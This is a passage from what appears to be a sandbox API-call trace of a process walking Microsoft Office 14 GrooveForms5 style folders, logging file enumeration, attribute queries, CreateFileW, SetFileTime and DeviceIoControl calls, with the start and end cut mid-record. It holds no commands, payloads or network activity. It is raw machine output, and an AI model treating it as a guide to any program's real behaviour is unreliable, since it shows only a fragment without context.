Flags=0x8, Size=0x100) returned 0x103ec48 [0069.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.546] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.546] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.546] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.546] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.546] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.547] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.547] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102efb8 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f488 [0069.547] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.547] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.547] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.547] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102efd8 [0069.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f590 [0069.547] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.547] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.548] GetLastError () returned 0x12 [0069.548] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.548] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.548] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.548] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.548] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.548] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.548] GetLastError () returned 0x12 [0069.548] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.548] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.548] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.548] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.548] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0069.548] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0069.548] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.549] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1071708 [0069.550] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1071708, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1071708, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.550] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071708) returned 1 [0069.550] NtClose (Handle=0x190) returned 0x0 [0069.550] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.550] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.550] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.550] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102eff8 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f698 [0069.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.551] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f018 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f7a0 [0069.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.552] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f038 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f8a8 [0069.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.552] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f058 [0069.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103f9b0 [0069.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.553] GetLastError () returned 0x12 [0069.553] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.553] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.553] GetLastError () returned 0x12 [0069.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.553] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0069.553] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0069.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.554] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1071708 [0069.555] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1071708, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1071708, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071708) returned 1 [0069.555] NtClose (Handle=0x18c) returned 0x0 [0069.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.555] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.555] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.555] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, 